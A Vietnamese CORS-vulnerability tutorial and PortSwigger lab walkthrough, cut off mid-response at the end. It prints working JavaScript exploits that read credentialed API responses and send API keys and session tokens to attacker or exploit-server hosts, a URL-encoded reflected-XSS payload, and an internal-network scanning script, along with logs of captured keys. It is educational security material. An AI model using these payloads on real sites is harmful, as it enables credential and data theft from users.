Server-generated ACAO Header From Client-specified Origin Header

Một số ứng dụng cấp quyền truy cập cho các origin khác bằng cách truy xuất giá trị của header Origin và gán vào header Access-Control-Allow-Origin trong response trả về.

Ví dụ, giả sử có một request gửi đến ứng dụng như sau:

GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionId=...

Ứng dụng có thể set giá trị của Access-Control-Allow-Originhttps://malicious-website.comAccess-Control-Allow-Credentialstrue trong response như sau:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...

Khi đó, trình duyệt sẽ cho phép origin malicious-website.com đọc response của vulnerable-website.com.

Có thể thấy trong cách cấu hình ở trên, bất kỳ origin nào cũng có thể gửi request đến và đọc response từ vulnerable-website.com. Tồi tệ hơn, nếu response có chứa các thông tin nhạy cảm chẳng hạn như API key hoặc CSRF token thì attacker có thể truy xuất như sau:

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
 
function reqListener() {
	location='//malicious-website.com/log?key='+this.responseText;
};

Giải thích đoạn code trên:

  • Dòng lệnh req.open('get','https://vulnerable-website.com/sensitive-victim-data',true); giúp gửi cross-origin (cũng là cross-site1) request đến https://vulnerable-website.com/sensitive-victim-data một cách bất đồng bộ (đối số thứ 3 là true).
  • Dòng lệnh req.withCredentials = true; khiến cho trình duyệt đính kèm credentials của người dùng chẳng hạn như cookie.
  • Hàm reqListener gửi toàn bộ response đến origin của attacker. Hàm này được gán cho sự kiện onload, xảy ra sau khi có response trả về.

Lab: CORS Vulnerability with Basic Origin Reflection

Mô tả lab:

  • Website này cấu hình CORS một cách không bảo mật bởi vì nó tin cậy tất cả các origin.
  • Dùng JavaScript để truy xuất API key của admin.
  • Tài khoản được cung cấp là wiener:peter.

Request truy vấn thông tin cá nhân của người dùng:

GET /my-account?id=wiener HTTP/1.1
Host: 0a38009103dd462b818a4db400120000.web-security-academy.net
Cookie: session=0nOW23yY614xlMJSV9iXgT5KTWOabLPQ
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a38009103dd462b818a4db400120000.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=0, i
Connection: close

Response có đoạn client-side script như sau:

<script>
	fetch('/accountDetails', {credentials:'include'})
		.then(r => r.json())
		.then(j => document.getElementById('apikey').innerText = j.apikey)
</script>

Đoạn script này gửi request đến endpoint /accountDetails như sau:

GET /accountDetails HTTP/2
Host: 0a38009103dd462b818a4db400120000.web-security-academy.net
Cookie: session=0nOW23yY614xlMJSV9iXgT5KTWOabLPQ
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a38009103dd462b818a4db400120000.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=1, i

Response có dạng như sau:

HTTP/2 200 OK
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 149
 
{
  "username": "wiener",
  "email": "",
  "apikey": "pb1Aioo9moteUMpGTi2LI0EVdOjw1dVv",
  "sessions": [
    "0nOW23yY614xlMJSV9iXgT5KTWOabLPQ"
  ]
}

Note

Trình duyệt sẽ chặn response ở trên do không có ACAO. Để đọc được nội dung của response như trên thì cần dùng một HTTP client khác trình duyệt chẳng hạn như BurpSuite.

Như vậy, để lấy được API key thì ta cần gửi request đến endpoint /accountDetails mà có đính kèm cookie.

Xây dựng exploit như sau:

<script>
	var req = new XMLHttpRequest();
	req.onload = reqListener;
	req.open('get','https://LAB_ID.web-security-academy.net/accountDetails',true);
	req.withCredentials = true;
	req.send();
	
	function reqListener() {
		location='/log?res='+this.responseText;
	};
</script>

Request gửi đi là:

GET /accountDetails HTTP/2
Host: 0a38009103dd462b818a4db400120000.web-security-academy.net
Cookie: session=CvCRLipbYX4DGpaB9Nt9y4HqCVAE7EoU
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Sec-Ch-Ua-Platform: "Linux"
Accept: */*
Origin: https://exploit-0ab0004c03d7dd50809fe81c013000b3.exploit-server.net
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://exploit-0ab0004c03d7dd50809fe81c013000b3.exploit-server.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=1, i

Response có ACAO như sau:

HTTP/2 200 OK
Access-Control-Allow-Origin: https://exploit-0ab0004c03d7dd50809fe81c013000b3.exploit-server.net
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 149

Chuyển giao exploit cho nạn nhân rồi xem access log của exploit server thì có đoạn như sau:

42.112.244.34   2024-04-22 04:30:47 +0000 "GET /deliver-to-victim HTTP/1.1" 302 "user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0"
10.0.4.71       2024-04-22 04:30:47 +0000 "GET /exploit/ HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
10.0.4.71       2024-04-22 04:30:47 +0000 "GET /log?res={%20%20%22username%22:%20%22administrator%22,%20%20%22email%22:%20%22%22,%20%20%22apikey%22:%20%22e2jNMqOnyTxNEOACDSPMr5HSdKeigS6O%22,%20%20%22sessions%22:%20[%20%20%20%20%22p3WUtyltN7kg6ObUVLcmBNwYvg1vy69B%22%20%20]} HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"

API Key sau khi decode là: e2jNMqOnyTxNEOACDSPMr5HSdKeigS6O.

Errors Parsing Origin Headers

Một số ứng dụng sử dụng whitelist các origin tin cậy. Nếu origin gửi request nằm trong whitelist thì server sẽ reflect origin ở trong ACAO.

Ví dụ, xét request sau:

GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://innocent-website.com

Giả sử origin ở trên nằm trong whitelist thì nó sẽ được reflect ở trong response của server như sau:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://innocent-website.com

Một số ứng dụng cấp quyền truy cập cho tất cả các subdomain của origin (kể cả những subdomain chưa tồn tại) bằng cách so khớp tiền tố hoặc hoặc tố của URL hoặc sử dụng regex. Ví dụ, giả sử ứng dụng cấp quyền truy cập cho tất cả các domain kết thúc bằng:

normal-website.com

Attacker có thể truy cập nếu đăng ký một domain như sau:

hackersnormal-website.com

Tương tự, giả sử ứng dụng cấp quyền truy cập cho tất cả domain bắt đầu bằng:

normal-website.com

Kẻ tấn công có thể truy cập nếu sử dụng domain sau:

normal-website.com.evil-user.net

Whitelisted Null Origin Value

Đặc tả của header Origin hỗ trợ giá trị null. Trình duyệt có thể sử dụng giá trị này trong các trường hợp sau:

  • Cross-origin redirect.
  • Request gửi từ serialized data.
  • Request sử dụng giao thức file:.
  • Sandbox cross-origin request.

Một số ứng dụng thêm vào whitelist giá trị null để hỗ trợ việc phát triển ứng dụng ở local.

Ví dụ, nếu ứng dụng nhận được request sau:

GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null

Nó sẽ trả về response như sau:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

Trong trường hợp này, attacker có thể tạo ra một cross-origin request mà có Originnull để truy cập vào response. Attacker có thể làm điều này bằng cách dùng thẻ <iframe> có thuộc tính sandbox để gửi cross-origin request như sau:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
 
function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>

Thuộc tính sandbox giúp kiểm soát các ràng buộc đối với nội dung được nhúng bên trong thẻ <iframe>. Giải thích các giá trị của sandbox trong đoạn code trên:

  • allow-scripts: cho phép chạy script (nhưng không được mở cửa sổ pop-up).
  • allow-top-navigation: cho phép tài nguyên điều hướng đến top-level browsing context2.
  • allow-forms: cho phép submit form.

Lab: CORS Vulnerability with Trusted Null Origin

Mô tả lab:

  • Lab này có một cấu hình CORS không an toàn vì nó tin cậy null origin.
  • Mục tiêu là xây dựng JavaScript để lấy API key của admin.
  • Tài khoản được cung cấp là wiener:peter.

API được truy xuất thông qua endpoint /accountDetails.

Xây dựng exploit như sau:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://LAB_ID.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
 
function reqListener() {
	location='https://exploit-EXPLOIT_SERVER_ID.exploit-server.net/log?key='+this.responseText;
};
</script>"></iframe>

Access log của exploit server có đoạn như sau:

42.112.244.34   2024-04-22 07:06:23 +0000 "GET /deliver-to-victim HTTP/1.1" 302 "user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0"
10.0.3.47       2024-04-22 07:06:24 +0000 "GET /exploit/ HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
10.0.3.47       2024-04-22 07:06:25 +0000 "GET /log?key={%20%20%22username%22:%20%22administrator%22,%20%20%22email%22:%20%22%22,%20%20%22apikey%22:%20%22qjn0wa3pDQ6aiYWtawi8H1VLnO360qWz%22,%20%20%22sessions%22:%20[%20%20%20%20%22MRvjjaTMSVRumPUr2jtNZt2xNV0UiIsc%22%20%20]} HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"

API key của admin là qjn0wa3pDQ6aiYWtawi8H1VLnO360qWz.

Exploiting XSS via CORS Trust Relationships

Nếu ứng dụng tin tưởng một origin và origin đó có lỗ hổng XSS thì attacker có thể khai thác để gửi request.

Xét request sau:

GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...

Server response như sau:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

Nếu kẻ tấn công tìm thấy lỗ hổng XSS ở domain subdomain.vulnerable-website.com thì có thể lợi dụng để gửi request. Ví dụ:

https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>

Breaking TLS with Poorly Configured CORS

Giả sử một ứng dụng HTTPS có một whitelist bao gồm các domain tin cậy nhưng sử dụng HTTP.

Giả sử ứng dụng nhận được request có dạng như sau:

GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com
Cookie: sessionid=...

Và nó phản hồi như sau:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

Trong trường hợp này, kẻ tấn công có thể intercept traffic của nạn nhân để xâm phạm sự tương tác của họ với ứng dụng. Các bước khai thác:

  • Người dùng gửi một HTTP request.
  • Attacker chèn vào một chuyển hướng đến http://trusted-subdomain.vulnerable-website.com.
  • Trình duyệt của người dùng chuyển hướng.
  • Attacker intercept response để thêm vào đoạn script gửi request đến https://vulnerable-website.com.
  • Trình duyệt của người dùng thực gửi request từ origin http://trusted-subdomain.vulnerable-website.com.
  • Ứng dụng cho phép request bởi vì origin nằm trong whitelist và trả về response có chứa dữ liệu nhạy cảm ở dạng bản rõ.

Lab: CORS Vulnerability with Trusted Insecure Protocols

Mô tả lab:

  • Có một cấu hình CORS không an toàn vì nó tin tưởng tất cả các subdomain mà không quan tâm đến protocol.
  • Mục tiêu là xây dựng JavaScript để lấy API key của admin.
  • Tài khoản được cung cấp là wiener:peter.

API key được truy xuất thông qua request gửi đến endpoint /accountDetails.

Thử dùng exploit để gửi request có origin là null:

GET /accountDetails HTTP/2
Host: 0a4500db04a2237f80308f0400280000.web-security-academy.net
Cookie: session=RtgoCRxb0zSLFdsFRNoy9nm1mrGW8Lh6
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Sec-Ch-Ua-Platform: "Linux"
Accept: */*
Origin: null
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=1, i

Response bị trình duyệt chặn lại như sau:

Access to XMLHttpRequest at 'https://0a4500db04a2237f80308f0400280000.web-security-academy.net/accountDetails' from origin 'null' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.

Tương tự, exploit gửi từ origin của exploit server cũng bị chặn:

Access to XMLHttpRequest at 'https://0a4500db04a2237f80308f0400280000.web-security-academy.net/accountDetails' from origin 'https://exploit-0acd00b8046023a7801a8ea0011e0000.exploit-server.net' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.

Note

Tất nhiên là nếu không sử dụng trình duyệt thì response sẽ không bị chặn, kể cả khi không có ACAO.

Trong trang chi tiết sản phẩm có nút kiểm tra tồn kho (“Check stock”) với event handler cho sự kiện submit như sau:

<form id="stockCheckForm" action="/product/stock" method="POST">
	<input required type="hidden" name="productId" value="5">
	<select name="storeId">
		<option value="1" >London</option>
		<option value="2" >Paris</option>
		<option value="3" >Milan</option>
	</select>
	<button type="submit" class="button">Check stock</button>
</form>
<script>
	const stockCheckForm = document.getElementById("stockCheckForm");
	stockCheckForm.addEventListener("submit", function(e) {
		const data = new FormData(stockCheckForm);
		window.open('http://stock.0a4500db04a2237f80308f0400280000.web-security-academy.net/?productId=5&storeId=' + data.get('storeId'), 'stock', 'height=10,width=10,left=10,top=10,menubar=no,toolbar=no,location=no,status=no');
		e.preventDefault();
	});
</script>

Đoạn script ở trên mở một cửa sổ pop-up và gửi một request đến domain stock.0a4500db04a2237f80308f0400280000.web-security-academy.net.

Request có dạng như sau:

GET /?productId=5&storeId=1 HTTP/1.1
Host: stock.0a4500db04a2237f80308f0400280000.web-security-academy.net
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Connection: close

Response có dạng như sau:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=M53OWcRzwrturTJfJTuXf7VtphSlH27e; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 16
 
Stock level: 602

Thử tạo ra request đến endpoint /accountDetails có origin là stock.0a4500db04a2237f80308f0400280000.web-security-academy.net:

GET /accountDetails HTTP/2
Host: 0a4500db04a2237f80308f0400280000.web-security-academy.net
Cookie: session=RtgoCRxb0zSLFdsFRNoy9nm1mrGW8Lh6
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Sec-Ch-Ua-Platform: "Linux"
Accept: */*
Origin: http://stock.0a4500db04a2237f80308f0400280000.web-security-academy.net
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://exploit-0acd00b8046023a7801a8ea0011e0000.exploit-server.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=1, i

Response có các header sau:

HTTP/2 200 OK
Access-Control-Allow-Origin: http://stock.0a4500db04a2237f80308f0400280000.web-security-academy.net
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 149

Có thể thấy, do stock.0a4500db04a2237f80308f0400280000.web-security-academy.net là một subdomain của 0a4500db04a2237f80308f0400280000.web-security-academy.net nên ứng dụng cho phép truy cập vào response.

Ta intercept response của request kiểm tra tồn kho gửi đến origin stock.0a4500db04a2237f80308f0400280000.web-security-academy.net rồi thêm vào exploit sau:

<script>
	var req = new XMLHttpRequest();
	req.onload = reqListener;
	req.open('get','https://0a4500db04a2237f80308f0400280000.web-security-academy.net/accountDetails',true);
	req.withCredentials = true;
	req.send();
	
	function reqListener() {
		location='https://exploit-0acd00b8046023a7801a8ea0011e0000.exploit-server.net/log?key='+this.responseText;
	};
</script>

Exploit trên sẽ gửi request đến endpoint /accountDetails của ứng dụng có lỗ hổng CORS từ origin stock.0a4500db04a2237f80308f0400280000.web-security-academy.net:

GET /accountDetails HTTP/2
Host: 0a4500db04a2237f80308f0400280000.web-security-academy.net
Cookie: session=RtgoCRxb0zSLFdsFRNoy9nm1mrGW8Lh6
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Sec-Ch-Ua-Platform: "Linux"
Accept: */*
Origin: http://stock.0a4500db04a2237f80308f0400280000.web-security-academy.net
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://stock.0a4500db04a2237f80308f0400280000.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=1, i

Response nhận được có các header sau:

HTTP/2 200 OK
Access-Control-Allow-Origin: http://stock.0a4500db04a2237f80308f0400280000.web-security-academy.net
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 149

Có thể thấy, ứng dụng đã cho phép origin stock.0a4500db04a2237f80308f0400280000.web-security-academy.net đọc response.

Sau khi có response thì exploit chuyển tiếp nó đến exploit server bằng request sau:

GET /log?key={  "username": "wiener",  "email": "",  "apikey": "cKbhAjvSFQ6nCayRJuKLezX5goTQlcyu",  "sessions": [    "RtgoCRxb0zSLFdsFRNoy9nm1mrGW8Lh6"  ]} HTTP/2
Host: exploit-0acd00b8046023a7801a8ea0011e0000.exploit-server.net
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: http://stock.0a4500db04a2237f80308f0400280000.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=0, i

Bằng cách này, ta có thể thu thập được API key của nạn nhân.

Attention

Tuy nhiên, trong lab này, do không thể intercept response của nạn nhân nên ta cần tìm một cách khác để chèn JavaScript vào subdomain.

Thử gửi request đến endpoint / của origin stock.0a4500db04a2237f80308f0400280000.web-security-academy.net với giá trị của query param productId1a thì nhận được response như sau:

HTTP/1.1 400 Bad Request
Content-Type: text/html; charset=utf-8
Set-Cookie: session=fqAHUJFIHUgEcNWZ47rIcGrfi55uMDy9; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 36
 
<h4>ERROR</h4>Invalid product ID: 1a

Dễ thấy, ta có thể khai thác Reflected XSS trên query param này.

Sử dụng exploit mà ta chèn vào response ở trên làm payload truyền vào query param storeId:

<script>
	var req = new XMLHttpRequest();
	req.onload = reqListener;
	req.open('get','https://0a4500db04a2237f80308f0400280000.web-security-academy.net/accountDetails',true);
	req.withCredentials = true;
	req.send();
	
	function reqListener() {
		location='https://exploit-0acd00b8046023a7801a8ea0011e0000.exploit-server.net/log?key='+this.responseText;
	};
</script>

URL encode và gửi request với payload trên thì nhận được response như sau:

HTTP/1.1 400 Bad Request
Content-Type: text/html; charset=utf-8
Set-Cookie: session=PFaWtlCR5SGzcNOiFdF2TUBIK6R0jZsw; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 401
 
<h4>ERROR</h4>Invalid product ID: <script>
	var req = new XMLHttpRequest();
	req.onload = reqListener;
	req.open('get','https://0a4500db04a2237f80308f0400280000.web-security-academy.net/accountDetails',true);
	req.withCredentials = true;
	req.send();
	
	function reqListener() {
		location='https://exploit-0acd00b8046023a7801a8ea0011e0000.exploit-server.net/log?key='+this.responseText;
	};
</script>

Có thể thấy, ta đã triển khai reflected XSS thành công.

Xây dựng exploit để gửi request thông qua origin stock.0a4500db04a2237f80308f0400280000.web-security-academy.net:

<script>
	location='http://stock.0a4500db04a2237f80308f0400280000.web-security-academy.net/?productId=%3c%73%63%72%69%70%74%3e%0a%09%76%61%72%20%72%65%71%20%3d%20%6e%65%77%20%58%4d%4c%48%74%74%70%52%65%71%75%65%73%74%28%29%3b%0a%09%72%65%71%2e%6f%6e%6c%6f%61%64%20%3d%20%72%65%71%4c%69%73%74%65%6e%65%72%3b%0a%09%72%65%71%2e%6f%70%65%6e%28%27%67%65%74%27%2c%27%68%74%74%70%73%3a%2f%2f%30%61%34%35%30%30%64%62%30%34%61%32%32%33%37%66%38%30%33%30%38%66%30%34%30%30%32%38%30%30%30%30%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%61%63%63%6f%75%6e%74%44%65%74%61%69%6c%73%27%2c%74%72%75%65%29%3b%0a%09%72%65%71%2e%77%69%74%68%43%72%65%64%65%6e%74%69%61%6c%73%20%3d%20%74%72%75%65%3b%0a%09%72%65%71%2e%73%65%6e%64%28%29%3b%0a%09%0a%09%66%75%6e%63%74%69%6f%6e%20%72%65%71%4c%69%73%74%65%6e%65%72%28%29%20%7b%0a%09%09%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%73%3a%2f%2f%65%78%70%6c%6f%69%74%2d%30%61%63%64%30%30%62%38%30%34%36%30%32%33%61%37%38%30%31%61%38%65%61%30%30%31%31%65%30%30%30%30%2e%65%78%70%6c%6f%69%74%2d%73%65%72%76%65%72%2e%6e%65%74%2f%6c%6f%67%3f%6b%65%79%3d%27%2b%74%68%69%73%2e%72%65%73%70%6f%6e%73%65%54%65%78%74%3b%0a%09%7d%3b%0a%3c%2f%73%63%72%69%70%74%3e&storeId=1'
</script>

Request gửi từ subdomain stock có dạng như sau:

GET /accountDetails HTTP/2
Host: 0a4500db04a2237f80308f0400280000.web-security-academy.net
Cookie: session=RtgoCRxb0zSLFdsFRNoy9nm1mrGW8Lh6
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Sec-Ch-Ua-Platform: "Linux"
Accept: */*
Origin: http://stock.0a4500db04a2237f80308f0400280000.web-security-academy.net
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://stock.0a4500db04a2237f80308f0400280000.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=1, i

Xem access log của server và thu được đoạn log sau:

42.112.244.34   2024-04-22 10:16:05 +0000 "GET /deliver-to-victim HTTP/1.1" 302 "user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0"
10.0.4.35       2024-04-22 10:16:06 +0000 "GET /exploit/ HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
10.0.4.35       2024-04-22 10:16:07 +0000 "GET /log?key={%20%20%22username%22:%20%22administrator%22,%20%20%22email%22:%20%22%22,%20%20%22apikey%22:%20%226jyU3tJQY5isqpv7THG52bzVwnHrRqf0%22,%20%20%22sessions%22:%20[%20%20%20%20%221KdtckCEgkUIJ3i1t2aROsEA8OnPN6oM%22%20%20]} HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"

API key của admin là 6jyU3tJQY5isqpv7THG52bzVwnHrRqf0.

Intranets and CORS without Credentials

Xét request sau:

GET /reader?url=doc1.pdf
Host: intranet.normal-website.com
Origin: https://normal-website.com

Các server nội bộ thường cấp quyền truy cập cho tất cả các origin do chúng không thể được truy cập bởi internet:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *

Nếu có một người dùng nào đó truy cập vào internet thì có thể trở thành proxy giữa server nội bộ và attacker.

Cụ thể, attacker sẽ host mã độc rồi gửi liên kết cho người dùng. Khi người dùng click vào liên kết thì mã độc sẽ gửi request đến server nội bộ và response trả về không bị trình duyệt chặn do ACAO có giá trị là wildcard như trên. Sau đó, response này sẽ được chuyển tiếp đến trang web của attacker.

Lab: CORS Vulnerability with Internal Network Pivot Attack

Mô tả lab:

  • Server nội bộ tin cậy tất cả các máy trong cùng hệ thống mạng nên cấu hình CORS có ACAO là wildcard.
  • Mục tiêu là xây dựng JavaScript để gửi request đến server nội bộ có IP trong khoảng 192.168.0.0/24 và port là 8080 để xóa người dùng carlos.

Đầu tiên, ta cần tìm được địa chỉ IP của server nội bộ và response của nó. Sử dụng exploit sau:

<script>
var q = [], collaboratorURL = 'https://$collaboratorPayload';
 
for(i=1;i<=255;i++) {
	q.push(function(url) {
		return function(wait) {
			fetchUrl(url, wait);
		}
	}('http://192.168.0.'+i+':8080'));
}
 
for(i=1;i<=20;i++){
	if(q.length)q.shift()(i*100);
}
 
function fetchUrl(url, wait) {
	var controller = new AbortController(), signal = controller.signal;
	fetch(url, {signal}).then(r => r.text().then(text => {
		location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now();
	}))
	.catch(e => {
		if(q.length) {
			q.shift()(wait);
		}
	});
	setTimeout(x => {
		controller.abort();
		if(q.length) {
			q.shift()(wait);
		}
	}, wait);
}
</script>

Giải thích đoạn script trên:

  • Vòng lặp đầu tiên sử dụng closure function với tham số là url để tạo ra một hàm khác và cho vào mảng q. Đối số của url là các địa chỉ IP 192.168.0.i:8080 với i chạy từ 1 đến 255.
  • Vòng lặp thứ hai lặp qua 20 hàm đầu tiên trong q và thực thi chúng với đối số của waiti * 100 với i chạy từ 1 đến 20.
  • Hàm fetchUrl sử dụng Fetch API để gửi request đến các IP truyền vào tham số url.
  • Sau khi có response từ request trên thì script sẽ chuyển hướng trình duyệt đến exploit server hoặc Collaborator có URL là collaboratorURL kèm theo response (text).
  • Nếu có lỗi xảy ra hoặc quá thời gian timeout (wait) thì hàm tiếp theo ở trong q sẽ được thực thi.

Collaborator nhận được request sau:

GET /?ip=192.168.0.169:8080&code=<!DOCTYPE html>
<html>
